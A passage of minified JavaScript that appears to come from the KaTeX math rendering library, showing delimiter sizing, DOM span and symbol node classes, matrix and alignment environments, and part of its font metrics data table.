E=[{type:"small",style:l.default.SCRIPTSCRIPT},{type:"small",style:l.default.SCRIPT},{type:"small",style:l.default.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4},{type:"stack"}];var B=function e(t){if(t.type==="small"){return"Main-Regular"}else if(t.type==="large"){return"Size"+t.size+"-Regular"}else if(t.type==="stack"){return"Size4-Regular"}};var O=function e(t,r,a,n){var i=Math.min(2,3-n.style.size);for(var l=i;l<a.length;l++){if(a[l].type==="stack"){break}var s=m(t,B(a[l]));var o=s.height+s.depth;if(a[l].type==="small"){var u=n.havingBaseStyle(a[l].style);o*=u.sizeMultiplier}if(o>r){return a[l]}}return a[a.length-1]};var L=function e(t,r,a,n,i,l){if(t==="<"||t==="\\lt"){t="\\langle"}else if(t===">"||t==="\\gt"){t="\\rangle"}var s=void 0;if(d.default.contains(T,t)){s=q}else if(d.default.contains(A,t)){s=E}else{s=_}var o=O(t,r,s,n);if(t==="\\surd"){return S(r,o,n)}else{if(o.type==="small"){return x(t,o.style,a,n,i,l)}else if(o.type==="large"){return b(t,o.size,a,n,i,l)}else if(o.type==="stack"){return M(t,r,a,n,i,l)}}};var P=function e(t,r,a,n,i,l){var s=n.fontMetrics().axisHeight*n.sizeMultiplier;var o=901;var u=5/n.fontMetrics().ptPerEm;var c=Math.max(r-s,a+s);var f=Math.max(c/500*o,2*c-u);return L(t,f,true,n,i,l)};t.exports={sizedDelim:R,customSizedDelim:L,leftRightDelim:P}},{"./ParseError":29,"./Style":33,"./buildCommon":34,"./fontMetrics":41,"./symbols":48,"./utils":51}],39:[function(e,t,r){"use strict";var a=e("babel-runtime/helpers/classCallCheck");var n=f(a);var i=e("babel-runtime/helpers/createClass");var l=f(i);var s=e("./unicodeRegexes");var o=f(s);var u=e("./utils");var c=f(u);function f(e){return e&&e.__esModule?e:{default:e}}var h=function e(t){t=t.slice();for(var r=t.length-1;r>=0;r--){if(!t[r]){t.splice(r,1)}}return t.join(" ")};var v=function(){function e(t,r,a){(0,n.default)(this,e);this.classes=t||[];this.children=r||[];this.height=0;this.depth=0;this.maxFontSize=0;this.style={};this.attributes={};this.innerHTML;if(a){if(a.style.isTight()){this.classes.push("mtight")}if(a.getColor()){this.style.color=a.getColor()}}}(0,l.default)(e,[{key:"setAttribute",value:function e(t,r){this.attributes[t]=r}},{key:"tryCombine",value:function e(t){return false}},{key:"toNode",value:function e(){var t=document.createElement("span");t.className=h(this.classes);for(var r in this.style){if(Object.prototype.hasOwnProperty.call(this.style,r)){t.style[r]=this.style[r]}}for(var a in this.attributes){if(Object.prototype.hasOwnProperty.call(this.attributes,a)){t.setAttribute(a,this.attributes[a])}}if(this.innerHTML){t.innerHTML=this.innerHTML}for(var n=0;n<this.children.length;n++){t.appendChild(this.children[n].toNode())}return t}},{key:"toMarkup",value:function e(){var t="<span";if(this.classes.length){t+=' class="';t+=c.default.escape(h(this.classes));t+='"'}var r="";for(var a in this.style){if(this.style.hasOwnProperty(a)){r+=c.default.hyphenate(a)+":"+this.style[a]+";"}}if(r){t+=' style="'+c.default.escape(r)+'"'}for(var n in this.attributes){if(Object.prototype.hasOwnProperty.call(this.attributes,n)){t+=" "+n+'="';t+=c.default.escape(this.attributes[n]);t+='"'}}t+=">";if(this.innerHTML){t+=this.innerHTML}for(var i=0;i<this.children.length;i++){t+=this.children[i].toMarkup()}t+="</span>";return t}}]);return e}();var d=function(){function e(t){(0,n.default)(this,e);this.children=t||[];this.height=0;this.depth=0;this.maxFontSize=0}(0,l.default)(e,[{key:"toNode",value:function e(){var t=document.createDocumentFragment();for(var r=0;r<this.children.length;r++){t.appendChild(this.children[r].toNode())}return t}},{key:"toMarkup",value:function e(){var t="";for(var r=0;r<this.children.length;r++){t+=this.children[r].toMarkup()}return t}}]);return e}();var p={"\xee":"\u0131\u0302","\xef":"\u0131\u0308","\xed":"\u0131\u0301","\xec":"\u0131\u0300"};var m=function(){function e(t,r,a,i,l,s,u){(0,n.default)(this,e);this.value=t||"";this.height=r||0;this.depth=a||0;this.italic=i||0;this.skew=l||0;this.classes=s||[];this.style=u||{};this.maxFontSize=0;if(o.default.cjkRegex.test(t)){if(o.default.hangulRegex.test(t)){this.classes.push("hangul_fallback")}else{this.classes.push("cjk_fallback")}}if(/[\xee\xef\xed\xec]/.test(this.value)){this.value=p[this.value]}}(0,l.default)(e,[{key:"tryCombine",value:function t(r){if(!r||!(r instanceof e)||this.italic>0||h(this.classes)!==h(r.classes)||this.skew!==r.skew||this.maxFontSize!==r.maxFontSize){return false}for(var a in this.style){if(this.style.hasOwnProperty(a)&&this.style[a]!==r.style[a]){return false}}for(var n in r.style){if(r.style.hasOwnProperty(n)&&this.style[n]!==r.style[n]){return false}}this.value+=r.value;this.height=Math.max(this.height,r.height);this.depth=Math.max(this.depth,r.depth);this.italic=r.italic;return true}},{key:"toNode",value:function e(){var t=document.createTextNode(this.value);var r=null;if(this.italic>0){r=document.createElement("span");r.style.marginRight=this.italic+"em"}if(this.classes.length>0){r=r||document.createElement("span");r.className=h(this.classes)}for(var a in this.style){if(this.style.hasOwnProperty(a)){r=r||document.createElement("span");r.style[a]=this.style[a]}}if(r){r.appendChild(t);return r}else{return t}}},{key:"toMarkup",value:function e(){var t=false;var r="<span";if(this.classes.length){t=true;r+=' class="';r+=c.default.escape(h(this.classes));r+='"'}var a="";if(this.italic>0){a+="margin-right:"+this.italic+"em;"}for(var n in this.style){if(this.style.hasOwnProperty(n)){a+=c.default.hyphenate(n)+":"+this.style[n]+";"}}if(a){t=true;r+=' style="'+c.default.escape(a)+'"'}var i=c.default.escape(this.value);if(t){r+=">";r+=i;r+="</span>";return r}else{return i}}}]);return e}();t.exports={span:v,documentFragment:d,symbolNode:m}},{"./unicodeRegexes":49,"./utils":51,"babel-runtime/helpers/classCallCheck":4,"babel-runtime/helpers/createClass":5}],40:[function(e,t,r){"use strict";var a=e("./ParseNode");var n=s(a);var i=e("./ParseError");var l=s(i);function s(e){return e&&e.__esModule?e:{default:e}}function o(e,t,r){var a=[];var i=[a];var s=[];while(true){var o=e.parseExpression(false,null);o=new n.default("ordgroup",o,e.mode);if(r){o=new n.default("styling",{style:r,value:[o]},e.mode)}a.push(o);var u=e.nextToken.text;if(u==="&"){e.consume()}else if(u==="\\end"){break}else if(u==="\\\\"||u==="\\cr"){var c=e.parseFunction();s.push(c.value.size);a=[];i.push(a)}else{throw new l.default("Expected & or \\\\ or \\end",e.nextToken)}}t.body=i;t.rowGaps=s;return new n.default(t.type,t,e.mode)}function u(e,r,a){if(typeof e==="string"){e=[e]}if(typeof r==="number"){r={numArgs:r}}var n={numArgs:r.numArgs||0,argTypes:r.argTypes,greediness:1,allowedInText:!!r.allowedInText,numOptionalArgs:r.numOptionalArgs||0,handler:a};for(var i=0;i<e.length;++i){t.exports[e[i]]=n}}function c(e){if(e.substr(0,1)==="d"){return"display"}else{return"text"}}u(["array","darray"],{numArgs:1},function(e,t){var r=t[0];r=r.value.map?r.value:[r];var a=r.map(function(e){var t=e.value;if("lcr".indexOf(t)!==-1){return{type:"align",align:t}}else if(t==="|"){return{type:"separator",separator:"|"}}throw new l.default("Unknown column alignment: "+e.value,e)});var n={type:"array",cols:a,hskipBeforeAndAfter:true};n=o(e.parser,n,c(e.envName));return n});u(["matrix","pmatrix","bmatrix","Bmatrix","vmatrix","Vmatrix"],{},function(e){var t={matrix:null,pmatrix:["(",")"],bmatrix:["[","]"],Bmatrix:["\\{","\\}"],vmatrix:["|","|"],Vmatrix:["\\Vert","\\Vert"]}[e.envName];var r={type:"array",hskipBeforeAndAfter:false};r=o(e.parser,r,c(e.envName));if(t){r=new n.default("leftright",{body:[r],left:t[0],right:t[1]},e.mode)}return r});u(["cases","dcases"],{},function(e){var t={type:"array",arraystretch:1.2,cols:[{type:"align",align:"l",pregap:0,postgap:1},{type:"align",align:"l",pregap:0,postgap:0}]};t=o(e.parser,t,c(e.envName));t=new n.default("leftright",{body:[t],left:"\\{",right:"."},e.mode);return t});u("aligned",{},function(e){var t={type:"array",cols:[],addJot:true};t=o(e.parser,t,"display");var r=new n.default("ordgroup",[],e.mode);var a=0;t.value.body.forEach(function(e){for(var t=1;t<e.length;t+=2){var n=e[t].value.value[0];n.value.unshift(r)}if(a<e.length){a=e.length}});for(var i=0;i<a;++i){var l="r";var s=0;if(i%2===1){l="l"}else if(i>0){s=2}t.value.cols[i]={type:"align",align:l,pregap:s,postgap:0}}return t});u("gathered",{},function(e){var t={type:"array",cols:[{type:"align",align:"c"}],addJot:true};t=o(e.parser,t,"display");return t})},{"./ParseError":29,"./ParseNode":30}],41:[function(e,t,r){"use strict";var a=e("./unicodeRegexes");var n=e("./fontMetricsData");var i=l(n);function l(e){return e&&e.__esModule?e:{default:e}}var s={slant:[.25,.25,.25],space:[0,0,0],stretch:[0,0,0],shrink:[0,0,0],xHeight:[.431,.431,.431],quad:[1,1.171,1.472],extraSpace:[0,0,0],num1:[.677,.732,.925],num2:[.394,.384,.387],num3:[.444,.471,.504],denom1:[.686,.752,1.025],denom2:[.345,.344,.532],sup1:[.413,.503,.504],sup2:[.363,.431,.404],sup3:[.289,.286,.294],sub1:[.15,.143,.2],sub2:[.247,.286,.4],supDrop:[.386,.353,.494],subDrop:[.05,.071,.1],delim1:[2.39,1.7,1.98],delim2:[1.01,1.157,1.42],axisHeight:[.25,.25,.25],defaultRuleThickness:[.04,.049,.049],bigOpSpacing1:[.111,.111,.111],bigOpSpacing2:[.166,.166,.166],bigOpSpacing3:[.2,.2,.2],bigOpSpacing4:[.6,.611,.611],bigOpSpacing5:[.1,.143,.143],sqrtRuleThickness:[.04,.04,.04],ptPerEm:[10,10,10],doubleRuleSep:[.2,.2,.2]};var o={"\xc0":"A","\xc1":"A","\xc2":"A","\xc3":"A","\xc4":"A","\xc5":"A","\xc6":"A","\xc7":"C","\xc8":"E","\xc9":"E","\xca":"E","\xcb":"E","\xcc":"I","\xcd":"I","\xce":"I","\xcf":"I","\xd0":"D","\xd1":"N","\xd2":"O","\xd3":"O","\xd4":"O","\xd5":"O","\xd6":"O","\xd8":"O","\xd9":"U","\xda":"U","\xdb":"U","\xdc":"U","\xdd":"Y","\xde":"o","\xdf":"B","\xe0":"a","\xe1":"a","\xe2":"a","\xe3":"a","\xe4":"a","\xe5":"a","\xe6":"a","\xe7":"c","\xe8":"e","\xe9":"e","\xea":"e","\xeb":"e","\xec":"i","\xed":"i","\xee":"i","\xef":"i","\xf0":"d","\xf1":"n","\xf2":"o","\xf3":"o","\xf4":"o","\xf5":"o","\xf6":"o","\xf8":"o","\xf9":"u","\xfa":"u","\xfb":"u","\xfc":"u","\xfd":"y","\xfe":"o","\xff":"y","\u0410":"A","\u0411":"B","\u0412":"B","\u0413":"F","\u0414":"A","\u0415":"E","\u0416":"K","\u0417":"3","\u0418":"N","\u0419":"N","\u041a":"K","\u041b":"N","\u041c":"M","\u041d":"H","\u041e":"O","\u041f":"N","\u0420":"P","\u0421":"C","\u0422":"T","\u0423":"y","\u0424":"O","\u0425":"X","\u0426":"U","\u0427":"h","\u0428":"W","\u0429":"W","\u042a":"B","\u042b":"X","\u042c":"B","\u042d":"3","\u042e":"X","\u042f":"R","\u0430":"a","\u0431":"b","\u0432":"a","\u0433":"r","\u0434":"y","\u0435":"e","\u0436":"m","\u0437":"e","\u0438":"n","\u0439":"n","\u043a":"n","\u043b":"n","\u043c":"m","\u043d":"n","\u043e":"o","\u043f":"n","\u0440":"p","\u0441":"c","\u0442":"o","\u0443":"y","\u0444":"b","\u0445":"x","\u0446":"n","\u0447":"n","\u0448":"w","\u0449":"w","\u044a":"a","\u044b":"m","\u044c":"a","\u044d":"e","\u044e":"m","\u044f":"r"};var u=function e(t,r){var n=t.charCodeAt(0);if(t[0]in o){n=o[t[0]].charCodeAt(0)}else if(a.cjkRegex.test(t[0])){n="M".charCodeAt(0)}var l=i.default[r][n];if(l){return{depth:l[0],height:l[1],italic:l[2],skew:l[3],width:l[4]}}};var c={};var f=function e(t){var r=void 0;if(t>=5){r=0}else if(t>=3){r=1}else{r=2}if(!c[r]){var a=c[r]={};for(var n in s){if(s.hasOwnProperty(n)){a[n]=s[n][r]}}a.cssEmPerMu=a.quad/18}return c[r]};t.exports={getFontMetrics:f,getCharacterMetrics:u}},{"./fontMetricsData":42,"./unicodeRegexes":49}],42:[function(e,t,r){"use strict";t.exports={"AMS-Regular":{65:[0,.68889,0,0],66:[0,.68889,0,0],67:[0,.68889,0,0],68:[0,.68889,0,0],69:[0,.68889,0,0],70:[0,.68889,0,0],71:[0,.68889,0,0],72:[0,.68889,0,0],73:[0,.68889,0,0],74:[.16667,.68889,0,0],75:[0,.68889,0,0],76:[0,.68889,0,0],77:[0,.68889,0,0],78:[0,.68889,0,0],79:[.16667,.68889,0,0],80:[0,.68889,0,0],81:[.16667,.68889,0,0],82:[0,.68889,0,0],83:[0,.68889,0,0],84:[0,.68889,0,0],85:[0,.68889,0,0],86:[0,.68889,0,0],87:[0,.68889,0,0],88:[0,.68889,0,0],89:[0,.68889,0,0],90:[0,.68889,0,0],107:[0,.68889,0,0],165:[0,.675,.025,0],174:[.15559,.69224,0,0],240:[0,.68889,0,0],295:[0,.68889,0,0],710:[0,.825,0,0],732:[0,.9,0,0],770:[0,.825,0,0],771:[0,.9,0,0],989:[.08167,.58167,0,0],1008:[0,.43056,.04028,0],8245:[0,.54986,0,0],8463:[0,.68889,0,0],8487:[0,.68889,0,0],8498:[0,.68889,0,0],8502:[0,.68889,0,0],8503:[0,.68889,0,0],8504:[0,.68889,0,0],8513:[0,.68889,0,0],8592:[-.03598,.46402,0,0],8594:[-.03598,.46402,0,0],8602:[-.13313,.36687,0,0],8603:[-.13313,.36687,0,0],8606:[.01354,.52239,0,0],8608:[.01354,.52239,0,0],8610:[.01354,.52239,0,0],8611:[.01354,.52239,0,0],8619:[0,.54986,0,0],8620:[0,.54986,0,0],8621:[-.13313,.37788,0,0],8622:[-.13313,.36687,0,0],8624:[0,.69224,0,0],8625:[0,.69224,0,0],8630:[0,.43056,0,0],8631:[0,.43056,0,0],8634:[.08198,.58198,0,0],8635:[.08198,.58198,0,0],8638:[.19444,.69224,0,0],8639:[.19444,.69224,0,0],8642:[.19444,.69224,0,0],8643:[.19444,.69224,0,0],8644:[.1808,.675,0,0],8646:[.1808,.675,0,0],8647:[.1808,.675,0,0],8648:[.19444,.69224,0,0],8649:[.1808,.675,0,0],8650:[.19444,.69224,0,0],8651:[.01354,.52239,0,0],8652:[.01354,.52239,0,0],8653:[-.13313,.36687,0,0],8654:[-.13313,.36687,0,0],8655:[-.13313,.36687,0,0],8666:[.13667,.63667,0,0],8667:[.13667,.63667,0,0],8669:[-.13313,.37788,0,0],8672:[-.064,.437,0,0],8674:[-.064,.437,0,0],8705:[0,.825,0,0],8708:[0,.68889,0,0],8709:[.08167,.58167,0,0],8717:[0,.43056,0,0],8722:[-.03598,.46402,0,0],8724:[.08198,.69224,0,0],8726:[.08167,.58167,0,0],8733:[0,.69224,0,0],8736:[0,.69224,0,0],8737:[0,.69224,0,0],8738:[.03517,.52239,0,0],8739:[.08167,.58167,0,0],8740:[.25142,.74111,0,0],8741:[.08167,.58167,0,0],8742:[.25142,.74111,0,0],8756:[0,.69224,0,0],8757:[0,.69224,0,0],8764:[-.13313,.36687,0,0],8765:[-.13313,.37788,0,0],8769:[-.13313,.36687,0,0],8770:[-.03625,.46375,0,0],8774:[.30274,.79383,0,0],8776:[-.01688,.48312,0,0],8778:[.08167,.58167,0,0],8782:[.06062,.54986,0,0],8783:[.06062,.54986,0,0],8785:[.08198,.58198,0,0],8786:[.08198,.58198,0,0],8787:[.08198,.58198,0,0],8790:[0,.69224,0,0],8791:[.22958,.72958,0,0],8796:[.08198,.91667,0,0],8806:[.25583,.75583,0,0],8807:[.25583,.75583,0,0],8808:[.25142,.75726,0,0],8809:[.25142,.75726,0,0],8812:[.25583,.75583,0,0],8814:[.20576,.70576,0,0],8815:[.20576,.70576,0,0],8816:[.30274,.79383,0,0],8817:[.30274,.79383,0,0],8818:[.22958,.72958,0,0],8819:[.22958,.72958,0,0],8822:[.1808,.675,0,0],8823:[.1808,.675,0,0],8828:[.13667,.63667,0,0],8829:[.13667,.63667,0,0],8830:[.22958,.72958,0,0],8831:[.22958,.72958,0,0],8832:[.20576,.70576,0,0],8833:[.20576,.70576,0,0],8840:[.30274,.79383,0,0],8841:[.30274,.79383,0,0],8842:[.13597,.63597,0,0],8843:[.13597,.63597,0,0],8847:[.03517,.54986,0,0],8848:[.03517,.54986,0,0],8858:[.08198,.58198,0,0],8859:[.08198,.58198,0,0],8861:[.08198,.58198,0,0],8862:[0,.675,0,0],8863:[0,.675,0,0],8864:[0,.675,0,0],8865:[0,.675,0,0],8872:[0,.69224,0,0],8873:[0,.69224,0,0],8874:[0,.69224,0,0],8876:[0,.68889,0,0],8877:[0,.68889,0,0],8878:[0,.68889,0,0],8879:[0,.68889,0,0],8882:[.03517,.54986,0,0],8883:[.03517,.54986,0,0],8884:[.13667,.63667,0,0],8885:[.13667,.63667,0,0],8888:[0,.54986,0,0],8890:[.19444,.43056,0,0],8891:[.19444,.69224,0,0],8892:[.19444,.69224,0,0],8901:[0,.54986,0,0],8903:[.08167,.58167,0,0],8905:[.08167,.58167,0,0],8906:[.08167,.58167,0,0],8907:[0,.69224,0,0],8908:[0,.69224,0,0],8909:[-.03598,.46402,0,0],8910:[0,.54986,0,0],8911:[0,.54986,0,0],8912:[.03517,.54986,0,0],8913:[.03517,.54986,0,0],8914:[0,.54986,0,0],8915:[0,.54986,0,0],8916:[0,.69224,0,0],8918:[.0391,.5391,0,0],8919:[.0391,.5391,0,0],8920:[.03517,.54986,0,0],8921:[.03517,.54986,0,0],8922:[.38569,.88569,0,0],8923:[.38569,.88569,0,0],8926:[.13667,.63667,0,0],8927:[.13667,.63667,0,0],8928:[.30274,.79383,0,0],8929:[.30274,.79383,0,0],8934:[.23222,.74111,0,0],8935:[.23222,.74111,0,0],8936:[.23222,.74111,0,0],8937:[.23222,.74111,0,0],8938:[.20576,.70576,0,0],8939:[.20576,.70576,0,0],8940:[.30274,.79383,0,0],8941:[.30274,.79383,0,0],8994:[.19444,.69224,0,0],8995:[.19444,.69224,0,0],9416:[.15559,.69224,0,0],9484:[0,.69224,0,0],9488:[0,.69224,0,0],9492:[0,.37788,0,0],9496:[0,.37788,0,0],9585:[.19444,.68889,0,0],9586:[.19444,.74111,0,0],9632:[0,.675,0,0],9633:[0,.675,0,0],9650:[0,.54986,0,0],9651:[0,.54986,0,0],9654:[.03517,.54986,0,0],9660:[0,.54986,0,0],9661:[0,.54986,0,0],9664:[.03517,.54986,0,0],9674:[.11111,.69224,0,0],9733:[.19444,.69224,0,0],10003:[0,.69224,0,0],10016:[0,.69224,0,0],10731:[.11111,.69224,0,0],10846:[.19444,.75583,0,0],10877:[.13667,.63667,0,0],10878:[.13667,.63667,0,0],10885:[.25583,.75583,0,0],10886:[.25583,.75583,0,0],10887:[.13597,.63597,0,0],10888:[.13597,.63597,0,0],10889:[.26167,.75726,0,0],10890:[.26167,.75726,0,0],10891:[.48256,.98256,0,0],10892:[.48256,.98256,0,0],10901:[.13667,.63667,0,0],10902:[.13667,.63667,0,0],10933:[.25142,.75726,0,0],10934:[.25142,.75726,0,0],10935:[.26167,.75726,0,0],10936:[.26167,.75726,0,0],10937:[.26167,.75726,0,0],10938:[.26167,.75726,0,0],10949:[.25583,.75583,0,0],10950:[.25583,.75583,0,0],10955:[.28481,.79383,0,0],10956:[.28481,.79383,0,0],57350:[.08167,.58167,0,0],57351:[.08167,.58167,0,0],57352:[.08167,.58167,0,0],57353:[0,.43056,.04028,0],57356:[.25142,.75726,0,0],57357:[.25142,.75726,0,0],57358:[.41951,.91951,0,0],57359:[.30274,.79383,0,0],57360:[.30274,.79383,0,0],57361:[.41951,.91951,0,0],57366:[.25142,.75726,0,0],57367:[.25142,.75726,0,0],57368:[.25142,.75726,0,0],57369:[.25142,.75726,0,0],57370:[.13597,.63597,0,0],57371:[.13597,.63597,0,0]},"Caligraphic-Regular":{48:[0,.43056,0,0],49:[0,.43056,0,0],50:[0,.43056,0,0],51:[.19444,.43056,0,0],52:[.19444,.43056,0,0],53:[.19444,.43056,0,0],54:[0,.64444,0,0],55:[.19444,.43056,0,0],56:[0,.64444,0,0],57:[.19444,.43056,0,0],65:[0,.68333,0,.19445],66:[0,.68333,.03041,.13889],67:[0,.68333,.05834,.13889],68:[0,.68333,.02778,.08334],69:[0,.68333,.08944,.11111],70:[0,.68333,.09931,.11111],71:[.09722,.68333,.0593,.11111],72:[0,.68333,.00965,.11111],73:[0,.68333,.07382,0],74:[.09722,.68333,.18472,.16667],75:[0,.68333,.01445,.05556],76:[0,.68333,0,.13889],77:[0,.68333,0,.13889],78:[0,.68333,.14736,.08334],79:[0,.68333,.02778,.11111],80:[0,.68333,.08222,.08334],81:[.09722,.68333,0,.11111],82:[0,.68333,0,.08334],83:[0,.68333,.075,.13889],84:[0,.68333,.25417,0],85:[0,.68333,.09931,.08334],86:[0,.68333,.08222,0],87:[0,.68333,.08222,.08334],88:[0,.68333,.14643,.13889],89:[.09722,.68333,.08222,.08334],90:[0,.68333,.07944,.13889]},"Fraktur-Regular":{33:[0,.69141,0,0],34:[0,.69141,0,0],38:[0,.69141,0,0],39:[0,.69141,0,0],40:[.24982,.74947,0,0],41:[.24982,.74947,0,0],42:[0,.62119,0,0],43:[.08319,.58283,0,0],44:[0,.10803,0,0],45:[.08319,.58283,0,0],46:[0,.10803,0,0],47:[.24982,.74947,0,0],48:[0,.47534,0,0],49:[0,.47534,0,0],50:[0,.47534,0,0],51:[.18906,.47534,0,0],52:[.18906,.47534,0,0],53:[.18906,.47534,0,0],54:[0,.69141,0,0],55:[.18906,.47534,0,0],56:[0,.69141,0,0],57:[.18906,.47534,0,0], 58:[0,.47534,0,0],59:[.12604,.47534,0,0],61:[-.13099,.36866,0,0],63:[0,.69141,0,0],65:[0,.69141,0,0],66:[0,.69141,0,0],67:[0,.69141,0,0],68:[0,.69141,0,0],69:[0,.69141,0,0],70:[.12604,.69141,0,0],71:[0,.69141,0,0],72:[.06302,.69141,0,0],73:[0,.69141,0,0],74:[.12604,.69141,0,0],75:[0,.69141,0,0],76:[0,.69141,0,0],77:[0,.69141,0,0],78:[0,.69141,0,0],79:[0,.69141,0,0],80:[.18906,.69141,0,0],81:[.03781,.69141,0,0],82:[0,.69141,0,0],83:[0,.69141,0,0],84:[0,.69141,0,0],85:[0,.69141,0,0],86:[0,.69141,0,0],87:[0,.69141,0,0],88:[0,.69141,0,0],89:[.18906,.69141,0,0],90:[.12604,.69141,0,0],91:[.24982,.74947,0,0],93:[.24982,.74947,0,0],94:[0,.69141,0,0],97:[0,.47534,0,0],98:[0,.69141,0,0],99:[0,.47534,0,0],100:[0,.62119,0,0],101:[0,.47534,0,0],102:[.18906,.69141,0,0],103:[.18906,.47534,0,0],104:[.18906,.69141,0,0],105:[0,.69141,0,0],106:[0,.69141,0,0],107:[0,.69141,0,0],108:[0,.69141,0,0],109:[0,.47534,0,0],110:[0,.47534,0,0],111:[0,.47534,0,0],112:[.18906,.52396,0,0],113:[.18906,.47534,0,0],114:[0,.47534,0,0],115:[0,.47534,0,0],116:[0,.62119,0,0],117:[0,.47534,0,0],118:[0,.52396,0,0],119:[0,.52396,0,0],120:[.18906,.47534,0,0],121:[.18906,.47534,0,0],122:[.18906,.47534,0,0],8216:[0,.69141,0,0],8217:[0,.69141,0,0],58112:[0,.62119,0,0],58113:[0,.62119,0,0],58114:[.18906,.69141,0,0],58115:[.18906,.69141,0,0],58116:[.18906,.47534,0,0],58117:[0,.69141,0,0],58118:[0,.62119,0,0],58119:[0,.47534,0,0]},"Main-Bold":{33:[0,.69444,0,0],34:[0,.69444,0,0],35:[.19444,.69444,0,0],36:[.05556,.75,0,0],37:[.05556,.75,0,0],38:[0,.69444,0,0],39:[0,.69444,0,0],40:[.25,.75,0,0],41:[.25,.75,0,0],42:[0,.75,0,0],43:[.13333,.63333,0,0],44:[.19444,.15556,0,0],45:[0,.44444,0,0],46:[0,.15556,0,0],47:[.25,.75,0,0],48:[0,.64444,0,0],49:[0,.64444,0,0],50:[0,.64444,0,0],51:[0,.64444,0,0],52:[0,.64444,0,0],53:[0,.64444,0,0],54:[0,.64444,0,0],55:[0,.64444,0,0],56:[0,.64444,0,0],57:[0,.64444,0,0],58:[0,.44444,0,0],59:[.19444,.44444,0,0],60:[.08556,.58556,0,0],61:[-.10889,.39111,0,0],62:[.08556,.58556,0,0],63:[0,.69444,0,0],64:[0,.69444,0,0],65:[0,.68611,0,0],66:[0,.68611,0,0],67:[0,.68611,0,0],68:[0,.68611,0,0],69:[0,.68611,0,0],70:[0,.68611,0,0],71:[0,.68611,0,0],72:[0,.68611,0,0],73:[0,.68611,0,0],74:[0,.68611,0,0],75:[0,.68611,0,0],76:[0,.68611,0,0],77:[0,.68611,0,0],78:[0,.68611,0,0],79:[0,.68611,0,0],80:[0,.68611,0,0],81:[.19444,.68611,0,0],82:[0,.68611,0,0],83:[0,.68611,0,0],84:[0,.68611,0,0],85:[0,.68611,0,0],86:[0,.68611,.01597,0],87:[0,.68611,.01597,0],88:[0,.68611,0,0],89:[0,.68611,.02875,0],90:[0,.68611,0,0],91:[.25,.75,0,0],92:[.25,.75,0,0],93:[.25,.75,0,0],94:[0,.69444,0,0],95:[.31,.13444,.03194,0],96:[0,.69444,0,0],97:[0,.44444,0,0],98:[0,.69444,0,0],99:[0,.44444,0,0],100:[0,.69444,0,0],101:[0,.44444,0,0],102:[0,.69444,.10903,0],103:[.19444,.44444,.01597,0],104:[0,.69444,0,0],105:[0,.69444,0,0],106:[.19444,.69444,0,0],107:[0,.69444,0,0],108:[0,.69444,0,0],109:[0,.44444,0,0],110:[0,.44444,0,0],111:[0,.44444,0,0],112:[.19444,.44444,0,0],113:[.19444,.44444,0,0],114:[0,.44444,0,0],115:[0,.44444,0,0],116:[0,.63492,0,0],117:[0,.44444,0,0],118:[0,.44444,.01597,0],119:[0,.44444,.01597,0],120:[0,.44444,0,0],121:[.19444,.44444,.01597,0],122:[0,.44444,0,0],123:[.25,.75,0,0],124:[.25,.75,0,0],125:[.25,.75,0,0],126:[.35,.34444,0,0],168:[0,.69444,0,0],172:[0,.44444,0,0],175:[0,.59611,0,0],176:[0,.69444,0,0],177:[.13333,.63333,0,0],180:[0,.69444,0,0],215:[.13333,.63333,0,0],247:[.13333,.63333,0,0],305:[0,.44444,0,0],567:[.19444,.44444,0,0],710:[0,.69444,0,0],711:[0,.63194,0,0],713:[0,.59611,0,0],714:[0,.69444,0,0],715:[0,.69444,0,0],728:[0,.69444,0,0],729:[0,.69444,0,0],730:[0,.69444,0,0],732:[0,.69444,0,0],768:[0,.69444,0,0],769:[0,.69444,0,0],770:[0,.69444,0,0],771:[0,.69444,0,0],772:[0,.59611,0,0],774:[0,.69444,0,0],775:[0,.69444,0,0],776:[0,.69444,0,0],778:[0,.69444,0,0],779:[0,.69444,0,0],780:[0,.63194,0,0],824:[.19444,.69444,0,0],915:[0,.68611,0,0],916:[0,.68611,0,0],920:[0,.68611,0,0],923:[0,.68611,0,0],926:[0,.68611,0,0],928:[0,.68611,0,0],931:[0,.68611,0,0],933:[0,.68611,0,0],934:[0,.68611,0,0],936:[0,.68611,0,0],937:[0,.68611,0,0],8211:[0,.44444,.03194,0],8212:[0,.44444,.03194,0],8216:[0,.69444,0,0],8217:[0,.69444,0,0],8220:[0,.69444,0,0],8221:[0,.69444,0,0],8224:[.19444,.69444,0,0],8225:[.19444,.69444,0,0],8242:[0,.55556,0,0],8407:[0,.72444,.15486,0],8463:[0,.69444,0,0],8465:[0,.69444,0,0],8467:[0,.69444,0,0],8472:[.19444,.44444,0,0],8476:[0,.69444,0,0],8501:[0,.69444,0,0],8592:[-.10889,.39111,0,0],8593:[.19444,.69444,0,0],8594:[-.10889,.39111,0,0],8595:[.19444,.69444,0,0],8596:[-.10889,.39111,0,0],8597:[.25,.75,0,0],8598:[.19444,.69444,0,0],8599:[.19444,.69444,0,0],8600:[.19444,.69444,0,0],8601:[.19444,.69444,0,0],8636:[-.10889,.39111,0,0],8637:[-.10889,.39111,0,0],8640:[-.10889,.39111,0,0],8641:[-.10889,.39111,0,0],8656:[-.10889,.39111,0,0],8657:[.19444,.69444,0,0],8658:[-.10889,.39111,0,0],8659:[.19444,.69444,0,0],8660:[-.10889,.39111,0,0],8661:[.25,.75,0,0],8704:[0,.69444,0,0],8706:[0,.69444,.06389,0],8707:[0,.69444,0,0],8709:[.05556,.75,0,0],8711:[0,.68611,0,0],8712:[.08556,.58556,0,0],8715:[.08556,.58556,0,0],8722:[.13333,.63333,0,0],8723:[.13333,.63333,0,0],8725:[.25,.75,0,0],8726:[.25,.75,0,0],8727:[-.02778,.47222,0,0],8728:[-.02639,.47361,0,0],8729:[-.02639,.47361,0,0],8730:[.18,.82,0,0],8733:[0,.44444,0,0],8734:[0,.44444,0,0],8736:[0,.69224,0,0],8739:[.25,.75,0,0],8741:[.25,.75,0,0],8743:[0,.55556,0,0],8744:[0,.55556,0,0],8745:[0,.55556,0,0],8746:[0,.55556,0,0],8747:[.19444,.69444,.12778,0],8764:[-.10889,.39111,0,0],8768:[.19444,.69444,0,0],8771:[.00222,.50222,0,0],8776:[.02444,.52444,0,0],8781:[.00222,.50222,0,0],8801:[.00222,.50222,0,0],8804:[.19667,.69667,0,0],8805:[.19667,.69667,0,0],8810:[.08556,.58556,0,0],8811:[.08556,.58556,0,0],8826:[.08556,.58556,0,0],8827:[.08556,.58556,0,0],8834:[.08556,.58556,0,0],8835:[.08556,.58556,0,0],8838:[.19667,.69667,0,0],